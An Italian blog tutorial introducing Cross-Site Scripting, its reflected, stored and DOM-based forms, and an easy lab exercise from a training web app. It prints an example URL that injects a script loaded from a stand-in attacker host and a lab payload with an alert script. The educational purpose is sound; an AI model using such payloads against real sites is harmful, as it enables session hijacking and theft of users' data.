Questo articolo contiene un’introduzione molto semplice al Cross-Site Scripting (XSS), con lo scopo di dare al lettore una panoramica sulle differenti classi e specie che caratterizzano questo tipo di vulnerabilità.

Cos’è un XSS?

Il cross-site scripting è una vulnerabilità, nell’ambito della web application security, che consente ad un utente malintenzionato di comprometter le interazioni che gli utenti hanno con l’applicazione vulnerabile. Consente all’attaccante di aggirare la same origin policy, che è un importante concetto di sicurezza informatica sull’esecuzione di linguaggi di scripting lato client, come per esempio Javascript o VBscript (#amarcord). La regola permette agli script in esecuzione su pagine che provengono dallo stesso sito di accedere ai reciproci metodi e proprietà senza specifiche restrizioni, impedendo invece l’accesso alla maggior parte dei metodi e delle proprietà tra pagine provenienti da siti diversi. Inoltre questa vulnerabilità consente, nelle situazioni più critiche, di rubare l’identità dell’utente e quindi la possibilità di ottenere pieno controllo su tutte le funzionalità e i dati dell’applicazione.

In pratica, funziona manipolando un sito web vulnerabile in modo che restituisca Javascript dannoso, così quando il codice viene eseguito all’interno del browser della vittima, l’aggressore può compromettere del tutto l’interazione con l’applicazione.

Un esempio molto semplice potrebbe essere di questo tipo:

https://www.pentestingmadesimple.com/page/?vulnparam=<script src=https://haters.org/evil-script.js></script>

Attraverso il parametro vulnparam riusciamo ad iniettare codice javascript malevolo nell’applicazione web.

Quali sono i tipi di XSS?

Esistono infiniti modi e casi limite per riuscire a sfruttare una vulnerabilità XSS, ma generalmente ci sono tre tipologie principali per questo tipo di attacco.
Probabilmente la tipologia più comune e intuitiva in cui un’appassionato di sicurezza si imbatte la prima volta che sente parlare di questo tipo di vulnerabilità è il cross-site scripting reflected (XSS reflected), dove lo script malevolo proviene dalla richiesta HTTP corrente: un esempio è il link esemplificativo poco sopra, dove la vittima per essere compromessa deve effettuare una richiesta alla web application.
La seconda tipologia è il cross-site scripting stored (XSS stored), nella quale sfruttando i difetti presenti sull’applicazione un attaccante può memorizzare codice javascript dannoso all’interno della web app vulnerabile. Proprio per questo si chiamata stored: quando la vittima visita la pagina web, il payload viene caricato contemporaneamente alla pagina web.
La terza tipologia invece si differenzia dalle altre perché il codice manipolato non è più lato server ma esclusivamente lato client. Viene chiamato DOM-based XSS, poiché va a modificare il DOM “enviroment” nel browser della vittima utilizzando lo script lato client originale. Il DOM (Document Object Model) è letteralmente il modello a oggetti del documento, ovvero una forma di rappresentazione dei documenti strutturati come modello o paradigma orientato agli oggetti nella programmazione.

Come sfruttare un XSS?

Utilizzerò come piattaforma per gli esercizi la web application creata da @h4t4way, accessibile a tutti nel repository GitHub.

In ambiente Linux per configurare i laboratori, bisogna avere a disposizione apache2 e una versione recente di PHP, copiare il contenuto della repository in /var/www/html e riavviare il servizio apache2. Per qualunque problema potete contattarci sui nostri social oppure tramite i link a fine articolo.

La prima sfida che ci viene proposta, difficoltà easy, è quella di iniettare del codice Javascript nell’applicazione web in modo tale che, inviando un link ad un utente vittima, esca subito l’alert senza bisogno di dover interagire con l’applicazione. Diamole un’occhiata insieme, ma non dimenticatevi che potrete allenarvi anche con quelle successive!

Inizialmente proviamo ad inserire qualcosa nell’input disponibile e clicchiamo submit button.

Notiamo che il nostro input è apparso nella webapp e anche nella barra degli indirizzi, associato al parametro item.

Ora diamo un’occhiata al codice sorgente (CTRL + U 😉), come facciamo a far eseguire codice Javascript malevolo?

In questa situazione specifica, l’applicazione non esegue nessun’altra elaborazione dei dati, quindi un utente malintenzionato può facilmente costruire un attacco come questo:

http://<ip-lab>/index.php?item=<script>alert(1)</script>

Se un utente visita l’URL costruito dall’attaccante, lo script verrà eseguito nel browser dell’utente, nel contesto della sessione dell’utente. Con questo tipo di attacco è spesso possibile eseguire azioni e recuperare qualsiasi dato riguardante l’utente vittima.

Conclusioni

Se l’articolo ti è piaciuto, puoi continuare a seguirci, oltre che su questo blog, anche sugli altri canali attivi e ricchi di contenuti: Twitch e YouTube.
Non esitare a lasciare feedback, domande o precisazioni nei commenti o sui nostri canali social di Telegram e Discord!